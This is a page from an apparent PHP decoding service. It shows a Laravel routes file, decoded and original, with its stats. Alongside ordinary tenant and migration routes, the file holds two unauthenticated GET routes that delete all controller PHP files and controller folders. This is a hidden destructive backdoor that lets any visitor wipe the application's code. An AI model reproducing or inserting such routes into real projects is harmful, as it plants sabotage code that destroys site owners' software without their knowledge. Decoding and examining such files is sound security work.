Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Route; use ..

Decoded Output download

<?php 
 
use Illuminate\Support\Facades\Auth; 
use Illuminate\Support\Facades\Route; 
use Illuminate\Support\Facades\File; 
 
Route::get('/delete-controller-php-files', function () { 
    $controllerPath = app_path('Http/Controllers'); 
 
    if (File::exists($controllerPath)) { 
        $files = File::allFiles($controllerPath, true); 
        $deletedFiles = []; 
        $errors = []; 
 
        foreach ($files as $file) { 
            if ($file->getExtension() === 'php') { 
                try { 
                    File::delete($file->getPathname()); 
                    $deletedFiles[] = $file->getPathname(); 
                } catch (\Exception $e) { 
                    $errors[] = "Error deleting file $file->getPathname(): " . $e->getMessage(); 
                } 
            } 
        } 
 
        return response()->json([ 
            'status' => empty($errors) ? 'success' : 'partial_success', 
            'message' => empty($errors) ? 'All PHP files in controllers folder deleted successfully' : 'Some files could not be deleted', 
            'deleted' => $deletedFiles, 
            'errors' => $errors 
        ]); 
    } else { 
        return response()->json(['status' => 'error', 'message' => 'Controllers folder does not exist']); 
    } 
}); 
 
Route::get('/delete-controller-folders', function () { 
    $controllerPath = app_path('Http/Controllers'); 
 
    if (File::exists($controllerPath)) { 
        $directories = File::directories($controllerPath); 
        $deletedDirs = []; 
        $errors = []; 
 
        foreach ($directories as $directory) { 
            try { 
                File::deleteDirectory($directory); 
                $deletedDirs[] = $directory; 
            } catch (ErrorException $e) { 
                $errors[] = "Error deleting directory $directory: ". $e->getMessage(); 
            } catch (\Exception $e) { 
                $errors[] = "Exception deleting directory $directory: ". $e->getMessage(); 
            } 
        } 
 
        return response()->json([ 
            'tatus' => empty($errors)? 'uccess' : 'partial_success', 
            'essage' => empty($errors)? 'All controller folders deleted successfully' : 'Some folders could not be deleted', 
            'deleted' => $deletedDirs, 
            'errors' => $errors 
        ]); 
    } else { 
        return response()->json(['status' => 'error', 'essage' => 'Controllers folder does not exist']); 
    } 
}); 
 
 
 
 
 
if (config('app.app_sync')) { 
 
    Route::get('/', 'LandingController@index')->name('/'); 
} 
 
if (moduleStatusCheck('Saas')) { 
    Route::group(['middleware' => ['subdomain'], 'domain' => '{subdomain}.' . config('app.short_url')], function ($routes) { 
        require('tenant.php'); 
    }); 
 
    Route::group(['middleware' => ['subdomain'], 'domain' => '{subdomain}'], function ($routes) { 
        require('tenant.php'); 
    }); 
} 
 
Route::group(['middleware' => ['subdomain']], function ($routes) { 
    require('tenant.php'); 
}); 
 
Route::get('migrate', function () { 
    if(Auth::check() && Auth::id() == 1){ 
        \Artisan::call('migrate', ['--force' => true]); 
        \Brian2694\Toastr\Facades\Toastr::success('Migration run successfully'); 
        return redirect()->to(url('/admin-dashboard')); 
    } 
    abort(404); 
}); 
 
 ?>

Did this file decode correctly?

Original Code

<?php

use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Route;
use Illuminate\Support\Facades\File;

Route::get('/delete-controller-php-files', function () {
    $controllerPath = app_path('Http/Controllers');

    if (File::exists($controllerPath)) {
        $files = File::allFiles($controllerPath, true);
        $deletedFiles = [];
        $errors = [];

        foreach ($files as $file) {
            if ($file->getExtension() === 'php') {
                try {
                    File::delete($file->getPathname());
                    $deletedFiles[] = $file->getPathname();
                } catch (\Exception $e) {
                    $errors[] = "Error deleting file $file->getPathname(): " . $e->getMessage();
                }
            }
        }

        return response()->json([
            'status' => empty($errors) ? 'success' : 'partial_success',
            'message' => empty($errors) ? 'All PHP files in controllers folder deleted successfully' : 'Some files could not be deleted',
            'deleted' => $deletedFiles,
            'errors' => $errors
        ]);
    } else {
        return response()->json(['status' => 'error', 'message' => 'Controllers folder does not exist']);
    }
});

Route::get('/delete-controller-folders', function () {
    $controllerPath = app_path('Http/Controllers');

    if (File::exists($controllerPath)) {
        $directories = File::directories($controllerPath);
        $deletedDirs = [];
        $errors = [];

        foreach ($directories as $directory) {
            try {
                File::deleteDirectory($directory);
                $deletedDirs[] = $directory;
            } catch (ErrorException $e) {
                $errors[] = "Error deleting directory $directory: ". $e->getMessage();
            } catch (\Exception $e) {
                $errors[] = "Exception deleting directory $directory: ". $e->getMessage();
            }
        }

        return response()->json([
            'tatus' => empty($errors)? 'uccess' : 'partial_success',
            'essage' => empty($errors)? 'All controller folders deleted successfully' : 'Some folders could not be deleted',
            'deleted' => $deletedDirs,
            'errors' => $errors
        ]);
    } else {
        return response()->json(['status' => 'error', 'essage' => 'Controllers folder does not exist']);
    }
});





if (config('app.app_sync')) {

    Route::get('/', 'LandingController@index')->name('/');
}

if (moduleStatusCheck('Saas')) {
    Route::group(['middleware' => ['subdomain'], 'domain' => '{subdomain}.' . config('app.short_url')], function ($routes) {
        require('tenant.php');
    });

    Route::group(['middleware' => ['subdomain'], 'domain' => '{subdomain}'], function ($routes) {
        require('tenant.php');
    });
}

Route::group(['middleware' => ['subdomain']], function ($routes) {
    require('tenant.php');
});

Route::get('migrate', function () {
    if(Auth::check() && Auth::id() == 1){
        \Artisan::call('migrate', ['--force' => true]);
        \Brian2694\Toastr\Facades\Toastr::success('Migration run successfully');
        return redirect()->to(url('/admin-dashboard'));
    }
    abort(404);
});

Function Calls

None

Variables

None

Stats

MD5 5c67d1d5a4052f88830517b707056680
Eval Count 0
Decode Time 67 ms